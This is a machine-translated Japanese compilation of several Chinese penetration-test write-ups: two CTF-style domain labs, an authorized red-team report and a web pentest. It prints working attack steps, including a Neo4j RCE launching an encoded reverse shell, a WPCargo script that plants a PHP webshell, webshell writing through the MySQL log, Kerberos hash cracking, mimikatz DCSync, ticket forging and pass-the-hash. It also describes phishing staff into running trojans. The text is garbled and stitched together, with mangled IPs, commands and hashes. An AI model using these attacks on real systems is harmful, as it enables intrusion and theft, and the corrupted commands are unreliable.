時間は、中程度の難易度を持つ射撃場環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Neo4J、Kerberos、特権の昇格、ドメイン浸透

最初のフラグ

屋外IP情報コレクション

Infoscanを開始

(ICMP)ターゲット'39 .98.236.25 'は生きています

ICMP AliveホストLen IS: 1

39.98.236.25:22オープン

39.98.236.25:1337オープン

39.98.236.25:7474オープン

39.98.236.25:7473オープン

39.98.236.25:7687オープン

39.98.236.25:3555オープン

Alive Ports Len IS: 6

Vulscanを開始します

完成0/6 [ - ] Webtitle http://39.98.236.25:7473 GET 'http://39.98.236.25:7473'3360 Net/HTTP: HTTP/1.Xトランスポート'\ x15 \ x03 \ x03 \ x00 \ x02 \ x02p'

[*] webtitle:33333399.98.236.25:7474 code:200 len:145 title3360none

[*] webtitle:333333399.98.236.25:7687 code:400 len3:0 title:none

[*] webtitle:3333333939.98.236.25:7687 code:400 len3:0 title:none

6/6を完了しました

スキャンエンド

neo4j不正rce

NEO4Jは、オープンソースグラフデータベース管理システムです。

NEO4J 3.4.18以前には、Neo4Jシェルインターフェイスが有効になっている場合、攻撃者は任意の方法をRMIプロトコルを介して不正なアイデンティティとして呼び出すことができます。この脆弱性はRMIの劣るものではないため、Javaバージョンの影響はありません。 Neo4J 3.5以降のバージョンでは、Neo4Jシェルはサイバーシェルに置き換えられました。

https://github.com/zwjjustdoit/cve-2021-34371.jar

Java -jar Rhino_gadget.jar Rmi3360 //39.98.236.2533601337 'Bash -C {echo、ymfzacatasa+jiavzgv2l3r . nc81ntu1ida+jje=} | 1049983-20230307110559021-177737673.pngバウンスシェル

1049983-20230307110559740-99216481.pngフラグを見つけます

1049983-20230307110600465-112496222.png最初のフラグを取得します

1049983-20230307110601246-816106515.png

2番目のフラグ

イントラネット浸透

アップロードエージェントとFSCAN

Infoscanを開始します

完了0/0 IP4:ICMP 0.0.0.0: Socket:操作は許可されていません

runicmp2を試してみます

ICMPパケットを送信できない現在のユーザー権限

pingを開始します

(ICMP)ターゲット172.22.6.12は生きています

(ICMP)ターゲット172.22.6.25は生きています

(ICMP)ターゲット172.22.6.38は生きています

(ICMP)ターゲット172.22.6.36は生きています

[*] ICMP Alive Hosts Len IS: 4

172.22.6.25:445オープン

172.22.6.12:445オープン

172.22.6.25:139オープン

172.22.6.12:139オープン

172.22.6.25:135オープン

172.22.6.12:135オープン

172.22.6.38:80オープン

172.22.6.36:22オープン

172.22.6.38:22オープン

172.22.6.36:7687オープン

172.22.6.12:88オープン

[*] Alive Ports Len IS: 11

Vulscanを開始します

[+] NetInfo:

[*] 172.22.6.25

[ - ] Win2019

[ - ] 172.22.6.25

[+] NetInfo:

[*] 172.22.6.12

[ - ] dc-progame

[ - ] 172.22.6.12

[*] 172.22.6.12 [+] DC Xiaorang \ DC-Progame Windows Server 2016 DataCenter 14393

[*] 172.22.6.25 Xiaorang \ Win2019

[*] 172.22.6.12(Windows Server 2016 Datacenter 14393)

[*] webtitle:3333333333333:200 len:1531 title:バックエンドログイン

[*] webtitle:33333333333333333363633607687 code:400 len:50 title:none

11/11

SQL注入

に記入してくださいhttp://172.22.6.38にアクセスしてください。これはデータパケットをクロールするログインページです

post /index.php http /1.1

HOST: 172.22.6.38

Content-Length: 30

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://172.22.6.38

Content-Type:アプリケーション/x-www-form-urlencoded

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

参照: http://172.22.6.38/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉じます

username=adminpassword=1111111 sqlmapを使用したテストインジェクション(プロセス省略)

sqlmap -r 1.txt - dump -t oa_f1agggg -d oa_db -batch 2番目のフラグを取得します

1049983-20230307110602079-2019239499.png

OA_ADMINテーブルとOA_USERSテーブルもあります。これは、ユーザーテーブルに500のユーザー名を辞書Username.txtに収集します

1049983-20230307110603044-594852005.png

‍‍ frag

ドメインユーザー列挙

Kerberos 'As-Req認証で、CNAME値のユーザーが存在しない場合、パッケージはKDC_ERR_C_PRINCIPAL_UNKNOWNをプロンプトします。

https://github.com/ropnop/kerbrute

proxychains ./kerbrute_linux_amd64 userenum - dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kaliのプロキシ実行は成功しておらず、結果も表示されません。ファイルはエントリマシンに渡され、結果はリモート実行後にのみ取得されます

1049983-20230307110604060-1494380176.png合計74人のユーザーがいます。

1049983-20230307110604911-275497764.png

as-reproasting

ドメインユーザーの場合、オプションがKerberosの事前認定を必要としない場合(Kerberosの事前識別は必要ありません)、AS-REQリクエストをドメインコントローラーの88ポートに送信し、受信したAS-REPコンテンツを再結合し、「Kerberos 5 As-Rep Etype 23」の形式にスプライスできます。次に、HashcatまたはJohnを使用してそれをクラックし、最終的にユーザーのPlantextパスワードを取得できます。

事前に認識されていないアカウントを見つけます

proxychains python3 getnpusers.py -dc -ip 172.22.6.12 -usersfile user.txt xiaorang.lab/1049983-20230307110605674-1336457543.png

2つのアカウントを入手してくださいwenshao@xiaorang.lab、zhangxin@xiaorang.lab

$ KRB5ASREP 23 $ 23 $ wenshao@xiaorang.lab@xiaorang.lab3360b6c410706b5e96c693b2fc61ee1064c3 $ 2dc9fe784e79973333f30c6bc422222222222222222222222BBA94Be7022222222222222e 8C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113 A86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3 E42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892 DA55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB29994

$ KRB5ASREP 23 $ 23 $ ZHANGXIN@XIAORANG.LAB@XIAORANG.LAB:971802B84CE99050AD3C5F49D11FD0B7 $ 6C1BE075C3CF2A7695529DE2E2EBB39C3C3C3C3C3C3C3C39C5C5C7E5326C926C91DAC26C926C926C91DAC26C9 9892F76BEFE52C860E4E1E2FF6537A5765A6BCB6B8BACA792D60765AC0BBE1B3C5E59F3 EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC41167 7BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D825B38 28744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C6805915163 54460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC94103F59D9511691090928E98D0D8978F51E71FD9DB0067FA0928E928E98E98D0D8978F510FATATATATATATATATAITA Hashcatを使用して復号化します

Hashcat -M 18200 - Force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af4 18C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113A 86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3E 42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892D A55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB2994 ' Rockyou.txt 1049983-20230307110606793-1960228635.pnghashcat -m 18200 - force -a 0 '$ KRB5ASREP $ 23 $ $ ZHANGXIN@Xiaorang.lab@Xiaorang.LAB:971802B84CE999050AD3C5F49D11FD0B7 $ 6C1BE075C3C3C3CF2A76955529DE2EBBF39C5C5EC7E5326C926C91891DAC7E5326C91891DAC7E51891DAC7E5326C91891DAC7E526C9189189189189 b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e 59F3EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC 411677BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D 825B3828744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C680 591516354460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC 94103F59D9511691090928E98D0D8978F511E71FD9DB0067FA0D450C120F3726918D7 '' Rockyou.txt 1049983-20230307110607685-1928545708.pngこの方法では、2つのアカウントとパスワードを取得しました

zhangxin@xiaorang.lab/strawberry

wenshao@xiaorang.lab/hellokitty

ドメイン環境分析

ドメインアカウントでログイン172.22.6.25、データ収集のためにSharphoundをアップロード

1049983-20230307110608564-1306420426.pngSharphound.exe -Cすべてのエクスポートファイルには複数のJSonが含まれており、ドメイン内のさまざまな関係を節約します

1049983-20230307110609478-1506458586.pngデータをブラッドハウンドにアップロードし、分析をクリックして、ドメイン管理者への最短パスを見つけます

ドメイン管理者への最短のパスを見つける厚から薄いまでのパスは、XXがXXに持っている権限または関係です。したがって、パスは次のとおりです

1049983-20230307110610336-1467436480.png Bloodhoundから、ユーザーYuxuanを行うために必要な次のステップがわかることがわかります

Windows自動ログイン

Hassession:ユーザーがコンピューターでセッションを行っている場合、資格情報はメモリに保持され、YuxuanがWin2019にログインしたことを示します

多くのユーザーは、自動的にログインするコンピューターのセットアップに使用されており、MSFを使用してユーザー名とパスワードを自動的にログインすることができます。

ポジティブシェルになります

msfvenom -p Windows/MeterPreter/bind_tcp -f exe -o shy.exeその後、ターゲットマシンWin2019(172.22.6.25)にアップロードして実行して実行します

プロキシと接続を使用してMSFを実行します

Exploit/Multi/Handlerを使用します

ペイロードWindows/MeterPreter/bind_tcpを設定します

RHOST 172.22.6.25を設定します

1049983-20230307110611400-894446148.pngを実行して、自動ログインのパスワードをクロールします

MeterPreter Run Run Windows/Graching/Credentials/Windows_Autologin 1049983-20230307110612244-1529844444.pngここでパスワードをキャッチしておらず、続行できませんでした。

他の人のWPが続行するのを見続ける方法はありません。

パスワードをつかんでYuxuan/Yuxuan7Qbrgz3lを入手してください。

1049983-20230307110613213-1178765707.png

ハッシュパス

Hassidhistory:ユーザーのSID履歴。ユーザーがドメインに移行した後、チケットには前のドメインが配置されているグループのSIDも含まれています。ユーザーは以前のドメインに属していませんが、以前のドメインへの許可がまだあります。

Yuxuanを使用して、管理者のハッシュをキャプチャします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110614013-1199004682.png

プロキシチャインCrackmapexec SMB 172.22.6.25 -U Administrator -H04D93FD6F5F6E4490E0DE23F40A5E9 -D XIAORANG.LAB -X 'タイプユーザー\ Administrator \ Administrator \ flag \ flag03.txt' https://zhuanlan.zhihu.com/p/582525371

命令

Brute4roadは、中程度の難易度のある射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Redis、Brute Force、SMB、特権標高、ドメイン浸透

最初のフラグ

Redis Master-Slave Copy RCE

fscan入学IPをスキャンします。次の入学IPが変更された場合、それは再起動環境のために、プロセスに問題はありません。

1049983-20230307110358384-1535054715.png不正なレディスが見つかり、書き込み計画のリバウンドシェルがテストされました。許可がないことが促されました。 Redis Master-SlaveコピーRCEを正常にコピーします

1049983-20230307110359449-350645622.png

suidエスカレーション

ユーザーはRedisの権利を引き上げる必要があります。 SUIDを使用して権利を上げます。次のコマンドを実行できます。詳細については、suidを表示してLinuxシステムの権利を上げることができます1

/-user root -perm -4000 -print 2/dev/nullを見つけます

find/-perm -u=s -type f 2/dev/null

/-user root -perm -4000 -exec ls -ldb {}を見つける;1049983-20230307110400345-2096403480.pngBase64には、SUID許可があります。 Base64を介してローカルファイルを読み取り、最初のフラグを取得するために出力できます

base64 '/home/redis/flag/flag01' | base64 - デコード1049983-20230307110401155-925199797.png

2番目のフラグ

wpcargo不正rce

ポータルIPのサーバーにプロキシを設定し、イントラネットスキャンを実行し、wegetを介してNPCとFSCANをアップロードします

pingを開始します

(ICMP)ターゲット172.22.2.18は生きています

(ICMP)ターゲット172.22.2.34は生きています

(ICMP)ターゲット172.22.2.3は生きています

(ICMP)ターゲット172.22.2.7は生きています

(ICMP)ターゲット172.22.2.16は生きています

[*] ICMP Alive Hosts Len IS: 5

172.22.2.2.16:445オープン

172.22.2.2.34:445オープン

172.22.2.3:445オープン

172.22.2.2.183360445オープン

172.22.2.16:139オープン

172.22.2.34:139オープン

172.22.2.3:139オープン

172.22.2.34:135オープン

172.22.2.16:135オープン

172.22.2.18:139オープン

172.22.2.3:135オープン

172.22.2.16:80オープン

172.22.2.3:88オープン

172.22.2.2.18:22オープン

172.22.2.7:80オープン

172.22.2.7:22オープン

172.22.2.2.733606379オープン

172.22.2.16:1433オープン

172.22.2.7:21オープン

172.22.2.2.18:80オープン

[*] Alive Ports Len IS: 20

Vulscanを開始します

[+] NetInfo:

[*] 172.22.2.16

[ - ] mssqlserver

[ - ] 172.22.2.16

[*] 172.22.2.34 Xiaorang \ client01

[*] 172.22.2.16(Windows Server 2016 Datacenter 14393)

[+] NetInfo:

[*] 172.22.2.3

[ - ] DC

[ - ] 172.22.2.3

[*] webtitle:3333http://172.22.2.16 code:404 len:315 title:notが見つかりました

[+] NetInfo:

[*] 172.22.2.34

[ - ] client01

[ - ] 172.22.2.34

[*] webtitle:333333333333:200 len:4833 title:welcome to centos

[*] 172.22.2.16 Xiaorang \ MSSQLSERVER WINDOWS SERVER 2016 DATACENTER 14393

[*] 172.22.2.3 [+] DC Xiaorang \ dc Windows Server 2016 Datacenter 14393

[*] 172.22.2.18ワークグループ\ ubuntu-web02

[*] 172.22.2.3(Windows Server 2016 Datacenter 14393)

[+] FTP: //172.22.2.2.73360213360Anonymous

[-]パブ

[*] webtitle:333http://172.22.2.18 code:200 len:57738 title:

プロキシチェーンWPSCAN -URL http://172.22.2.18 1049983-20230307110402168-1038472832.png WPCargoプラグイン、関連する脆弱性の検索、および不正なRCEの脆弱性があることがわかります

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

1049983-20230307110402965-813650361.pngImport sys

binasciiをインポートします

リクエストをインポートします

#これは、ピクセルとして扱われ、PNGを使用して圧縮される魔法の弦です

#アルゴリズム、原因は?=$ _ get [1]($ _ post [2]); PNGファイルに書き込まれます

ペイロード='2F49CF97546FC24152B216712546F112E29152B1967226B6F5F50'

def encode_character_code(c: int):

return '{:08b}'。形式(c).replace( '0'、 'x')

text='' .join([encode_character_code(c)for c in binascii.unhexlify(payload)])[1:]

Destination_url='http://172.22.2.18/'

cmd='ls'

#1/11スケールで、 '1はシングルホワイトピクセルとしてエンコードされます' xはシングルブラックピクセルとして。

requests.get(

F '{Destination_url} wp-content/plugins/wpcargo/include/barcode.php?text={text} sizeFactor=.090909090909Size=1filepath=////www/html/webshell.php'

))

#ウェブシェルをアップロードしました - 次に、それを使用してコマンドを実行しましょう。

print(requests.post(

f '{Destination_url} webshell.php?1=system'、data={'2': cmd}

).content.decode( 'ascii'、 'agnore'))shellを生成します

http://172.22.2.18/webshell.php?1=システム

post:2=whoami 1049983-20230307110403759-1226503060.pngアリの剣に接続し、タイプに注意を払い、CMDlinuxを選択します(これは多くの時間を無駄にし、ツールに精通していません)

1049983-20230307110404544-1755873580.pngデータベースの構成と接続を表示します

1049983-20230307110405448-1709834423.png 2番目のフラグを見つけます

1049983-20230307110406190-537113638.png

3番目のフラグ

パスワードを保存するためのテーブル

1049983-20230307110407012-1016357418.png

mssqlserver rce

データベースに入ったばかりのパスワードテーブルを使用してMSSQLを爆破してパスワードを取得します

1049983-20230307110407761-264141218.png倍数を使用して接続します。database.utilization.toolsツール

最初にOLEオートメーション手順コンポーネントをアクティブにしてから、SweetPotato.exeをアップロードして権限を高め、システムの許可を取得します

1049983-20230307110408557-1385769716.pngC:/users/mssqlserver/desktop/sweetpotato.exe -a 'netstat -ano' 1049983-20230307110409338-1429948219.png発見3389はオープン、直接ユーザー、リモート接続を直接追加します

ネットユーザーdevyn admin123 /add

ネットローカルグループ管理者devyn /add1049983-20230307110410189-1297694899.pngリモート接続が成功しました

1049983-20230307110411000-98762776.png 3番目のフラグを取得します

1049983-20230307110411923-340307306.png

‍ 4番目のフラグ

ドメイン浸透

Mimikatzを使用して、ドメインユーザーのハッシュをクロールします

1049983-20230307110412739-899773243.pngドメインユーザーから取得したハッシュは78A2811AABD79D0DA3CEF84903CA3E6です。

制約付き委任攻撃

MSSQLServerマシンは、DC LDAPおよびCIFSサービスへのバインディング委任で構成されています

まず、Rubeusを介してMssqlServerのマシンアカウントMSSQLSERVERのTGTを申請します。実行後、Base64暗号化されたTGTチケットを取得します。

rubeus.exe asktgt /user:mssqlserver $ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:dc.xiaorang。 S4U2自己拡張ドメイン管理者管理者を表して、ドメインコントロールLDAPサービスのチケットをリクエストし、結果のチケットをメモリに渡す

rubeus.exe S4U /ImpersonateUser:ADMINISTRATOR /MSDSSPN:LDAP/DC.XIAORANG.LAB /DC:DC.XIAORANG.LAB /PTT /Ticket:Doifmjccbzagawibbaedagewooieqzccbkdhggsjmiien6adagefoq4bdfhjqu9squ5hlkxbqqihmb+gawibaqymbybbmtyynrndbsmeglh B3JHBMCUBGFIO4IEYZCCBF+GAWIBEQEDAGECOOIEUQBE3JOMEUPBK3C69YAGUYDCLGYHRYVJZG4ZXERWUSWVFS0KZ+4Q2UTCKGQYW3GLS5SF0/MJ0FHIL1V 8u5wrlpgr5hblyugn+g1zmv3uitxo7qobxh0lr0duukundpoxdpdx26liz5/xddfvz4xtymkdqqrxgbwqggjh1cp/woy4u4txjo+l8cfq424kgdb3n/rjyrn y54m8qhl/smhg3ppmgtt2feij5jag+qdpm/r/xuoijhnzsfcvi2xilgqpf374jubih99utzvlqroshz9qljzlbseaqen9ctu01tmnnn4acrz4mqmv1mmyv9scfe jnqbcpgds+zvesrt53dwfotrg00o4jq6rgr9dr/6zmkc1w/kfwsxdf1b/h3homm7hzk0qlfsbdtq8i1e2ffdz5kyovbbtae6iraizzk7scds4ro9rrsdl6bna V25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBU UQBZSA/6BBMANXVFKX1B8XVIT0RQ1I/PLKS9LKWTKYUHJD67Z6XDDRN7IWR0FSTYQGUVHPN391L02ZNUJRK5/7JYOYKWHQ3SB/XRZC4YGGIMMGRZ0FQRQ+ hrbqbtunr2/i4hgywdlubsevz5qb1kxcebrkwuchhpgktsdbyz30tnpa0w2qwu8qj8zkks04r2hj91lcpudabrjhjff/und+++fhcfylau0xzmur8ekua2lcv 0FEF2IGVIU38BCRVUJFGKH423FGPSR4XOM8/8LNWHU+KAAIGSWSER8UGR8UGR8JIDVJTMGF5SCFOQDM+KVJ5O0ZNETTUHJHCVMADLI1QTQ5WJQRIEA6U4D6BYSHI 43IPS6SO8HECSB/03FPOKR/SRUYVEALW3IAWAJTAPTW/SRZUELXEEMVG2AADTL1 QXNW04A04A04A04A04A04A04A04A04AMI3PXJVSYCJYVIDWAZTHGBQOM3FHLZ4ZPZP blfbkagxqr624yo5yiajbl9/dp4m7iauibo7kawcfka1iafkygdfgaxudab52dt72jw0/qpelp08rordlty8irpjkazhssguvyuky07lr+ck95mekfdnl8cw AKW0MB8F92N4G4OFWQBUJK/479LYMZBDG38IWHHV/MLIACHLHM5NAZAY0JXJ2CEQIVSAFLFM7GP23V55HJ/T+EKT0ZD3EIJNHUWBVVVVVVVVVVVVVVVVVVVVVVVVVVVVHYEVKKCFJZGRALLQXA ptmkhhgila+wtkvcxpqx6qx8b40pg9r1rr4zq9bupb4jnnqwhe5sigpurr02xv5fuiii9qc5 //buhxceoxi0tfasrbghayna/tlrvak drqqrpitm1en79jsnw6adh1curfjr ++ ps6zyx6yqk3dlj5piiy2oavlpipcn1zmbz+jgdowgdegawibakkbzwsbzh2bytcbxqcbwzcbwdcbvaabmgmgawibf6 esbbbaxglfzni5hheocpajfdneoq4bdfhjqu9squ5hlkxbqqqizmbegawibaaeqma4bde1tu1fmu0vsvkvsjkmhawuaqoeaakurga8ymdiymtymizm1q mergpmjaymjewmjimjiymznapxeydziwmjixmta0mtiymjmzwqgogwxysufpukfukfory5mqukpitafoamcaqkkhgdawgwzrcmj0z3qbdhhpyw9yw5nlmxhyg==1049983-20230307110414821-1062055162.png LDAPサービスには、ドメイン内のユーザーのハッシュをエクスポートするDCSYNC許可があります

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator' exit 1049983-20230307110415741-286475972.png

wmi水平

ドメイン管理のハッシュを取得した後、WMIサービスを介してドメインコントロールにログインできます。

Python wmiexec.py -hashes 00000000000000000000000000000000000000000000000000000033601A19251FBD935969832616366AE3FE62管理者@172.222.2.3 1049983-20230307110417054-2127057906.png 4番目の旗を入手する

1049983-20230307110417858-348981547.png

別の方法

ハッシュによってドメイン制御を直接取得できます。ここでは、CrackMapexecを使用してPTHを実行します

プロキシチェーンCrackmapexec SMB 172.22.2.3 -U Administrator -H1A19251FBD935969832616366666666666662 -D Xiaorang.lab -x 'タイプユーザー\管理者\ Administrator \ flag \ flag04.txt' https://zhuanlan.zhihu.com/p/581577873

序文

外部ネットワークでの釣りから内部ネットワークでの移動まで、顧客が承認した攻撃的で防御的なドリルも祝福であることです。攻撃パスが描画されます。フローチャートは、私が描いた攻撃フローチャートに従って説明されます。フローチャートは次のとおりです:报告流程图.png

屋外ネット釣り

最初に、外部ネットワークから関連情報を収集し、WeChatを追加し、カスタマーサービスビジネスに構築する

答えは、トロイの木馬の馬をクリックするように相手を誘導することです。プロセスは次のとおりです:image.png

下の図に示すように、カスタマーサービスが正常に発売されました:image.png

その後、会社のディレクターはWeChat Phishingも実装しました。 「ビジネス協力」という言葉の構造は、次のようにトロイの木馬の馬をクリックするように相手に誘導することです:image.png

また、オンライン:image.png

インターネット旅行

関連するシステムをログイン

カスタマーサービスターミナルを調べて、パスワードブックを見つけて、電子メールシステムに正常にログインして、次のように多数の内部オフィスメールを見つけました:image.png

パスワードブックを介して操作プラットフォームにログインすると、2000W+レコードが次のとおりであることがわかりました:image.png

同時に、操作システムには次のようにSQL注入があることもわかりました:image.png

SQLMAPを使用して、次のようにデータベースユーザーパスワードを取得します:image.png

次のように、パスワードブックを介してZabbixシステムにログインしてください:image.png

特定のソースコードが見つかり、レビューが起動されます!

別の端末ファイルをめくると、圧縮されたパッケージをinstall.zip、減圧および表示し、特定のシステムのソースコードであることがわかりました:image.png

言語は:のようにPHPです

image.png

監査ソースコードは、システムのバックエンドプラグインの追加にファイルアップロードの脆弱性があることを発見しました。プラグインを追加することにより、サーバーにWebシェルを書き込むことにより、複数のサーバーアクセス許可が取得されました。

焦点は、build()関数image.pngにあります

次のように、要求されたconfigデータをプラグインディレクトリのconfig.phpファイルに直接書き込みます:image.png

BURPコンストラクトデータパケットパケット:image.png

分析は成功しました、GetShellは次のとおりです:image.png image.png

次のように、この0日を介して複数のサーバー権限を取得します。

image.png

クラウド資産を制御

前面で制御されたマシンを介して、マシンの1つで、構成ファイルをめくって、データベースアカウントとパスワードを見つけ、データベースにログインして、次のようにテーブルの1つでAK/SKを見つけます:image.png

Alibaba Cloudのすべてのシステムを引き継ぐことができます:image.png

gitlab

を取得します

次のように、Linuxの履歴を通じてGitLabの背景許可を取得するimage.png

検出を通じて、gitlabには歴史的な脆弱性CVE-2021-22205があり、脆弱性がGitlab Server image.pngの許可を取得するために使用されたことが発見されました。

GitlabのRedisを使用して、SSHキーを書き、次のようにルート許可を取得するための不正アクセスの脆弱性:image.png image.png

GitLabのコードを読んだ後、Zen DAOデータベースアカウントのパスワードを見つけました。これは本当に良いことです。同時に、私はここでも小さな提案をしました。イントラネットに入ってGitLabを発見すると、できるだけ早く入手できます。多くの利点があります。image.png

データベースはルートパスワードを直接変更し、背景を入力します:image.png

バックグラウンド関数を介した膨張は次のとおりです。image.png

ジェンキンスを征服

gitlabシステムを介して、マシンがnginxに存在することがわかりました。 nginx構成ファイルをチェックすることにより、Sonar \ Jenkins \などの複数のシステムが逆プロキシ化されていることがわかりました。 jenkins.confファイルにログを構成することにより、JenkinsユーザーログインCookie形式は次のように取得されました:image.png image.png image.png

取得したCookieを使用して、Jenkinsに正常にログインしてください:image.png

要約

ソーシャルワーカーの釣りを通じて、私は穴を引き裂き、イントラネットで長い円を取り、いくつかの結果を得ました。次回お会いしましょう。

元のテキストから転載:https://forum.butian.net/share/2583

序文

承認されたテストでは、少し前のテストでは、一歩なしにはゲッシェルの目的を達成できないと感じました。単一の脆弱性は確かに普通ですが、組み合わせると、予期しない化学効果がある可能性があります。

予備テスト

このサイトを取得したとき、メンバーのログインインターフェイスを一目で見ました。最初は登録について考えましたが、メンバーシップ機能は非常に少なく、検証コードがないと感じました。バックエンド管理者もメンバーである場合、バックエンドにアクセスして試してみることはできませんか?1049983-20220119230130548-1144246894.png

携帯電話番号のログインが表示されますが、管理者を試してみて、フロントデスクに混乱しないでください。ユーザー名を列挙できることは偶然であり、管理者アカウントもあります。爆発しなければごめんなさい。1049983-20220119230131076-904459722.png

辞書では、Duck King's Dictionary、Blasting Artifactを使用しています。この辞書は、多くのサイト(https://github.com/thekingofduck/fuzzdicts)を爆破するために使用されています。今回はそれを爆破することができて幸運でした。1049983-20220119230131627-1799870607.png

背景に到達してログインすると、管理者は同じパスワードを使用してログインしたいと思っています。接尾辞PHPを追加して、ワンストップのゲルシェルを見つけてアップロードします。1049983-20220119230132091-388272471.png

編集者が画像をアップロードするのを見たとき、物事はそれほど単純ではないと感じました。予想通り、接尾辞の追加は機能しませんでした1049983-20220119230132465-1921288281.png 1049983-20220119230132912-2069101477.png

ThinkCMF Webサイトビルディングシステムであることがわかりました。私はオンラインで脆弱性を検索し、脆弱性のコレクションを見ました(https://www.hacking8.com/bug-web/thinkcms/thinkcmf%E6%BC%8F%E6%B4%9Eです。私は検索を続けました(https://www.freebuf.com/vuls/217586.html)。基本的に、私はすべてのペイロードを試しました。脆弱性がハイバージョンで修正されたか、使用方法が正しくなかったが、それは正常に悪用されていなかったはずです。いくつかの方法はウェブサイトにとって破壊的であり、私がそれを試してみると、私はbeatられて死ぬことはありません。今まで我慢できないので、抜け穴を見つけるようにしてください。退屈できない場合は、もっと抜け穴を見つけてください。リーダーの話を聞くことはできません。

高度なステージ

最初にウェブサイトを開くと、Googleプラグインセンサー(T00LSで見つかります)をインストールし、Webサイトの繊細なディレクトリを最初に検出できます。1049983-20220119230133438-1262866321.png

NMAPを使用してオープンポートを検出し、ポート3306が一般に公開されていることがわかりました。希望なしに3306を爆破したいと思います。とにかく、私はいくつかの3306パスワードを破裂させませんでした。私は超弱いパスワードチェックツールを使用してから、Duck King's Dictionaryを使用しました。辞書が強力であるのか、それとも運が爆発しているのかを誰が知っていますか?ちなみに、これは弱いパスワードではありません。辞書にはこのパスワードがあるとしか言えません。辞書が存在する限り、それは間違っていません。1049983-20220119230133879-1560405270.png

次は通常の操作です。ロギングを試してください

「%一般%」のような変数を表示します。ログステータスを表示します

グローバルgeneral_log='on' on 'nog log reading and writingを設定します

グローバルgeneral_log_file='xxx.php'ログパスを指定します

'?php eval($ _ post [' cmd ']);'を選択しますxxx.phpにログを書き込みます

1049983-20220119230134382-1414972147.png

その他の脆弱性

責任ある態度に基づいて、他のいくつかの抜け穴が発見されましたが、それらは比較的有害ではありませんが、テストレポートを書く必要がない場合は、書くことができます。

ログインIP偽造この背景には一般に、ユーザーのログインIPを記録する習慣がありますが、IPがIPを記録するときにIPが選択された場合、攻撃者はログインIPを偽造できます。 IPの正当性が確認されていない場合、XSSペイロードを構築してストレージXSSをトリガーすることは不可能ではありません。テスト中に数回遭遇しました。ストレージXSSは、メンバーのログインIPが記録されるバックグラウンドにあります。1049983-20220119230134905-556140564.png 1049983-20220119230135328-639271512.png

ただし、ここでの唯一の欠点は、背景がIPの正当性をチェックすることです。違法IPの場合、0.0.0.0.0にリセットされます。

最優先の脆弱性でログインした後、管理者は自分で動作できないことがわかりました。これは恥ずかしいです。管理者は情報を変更できませんでした。1049983-20220119230135738-49515233.png

これは、変更できるリンクを見つけるための非常に簡単な方法であり、URLを変更して管理者の情報を変更します。経験によると、管理者が独自の情報を変更する状況の多くは、フロントエンドの制限です。1049983-20220119230136201-892800483.png

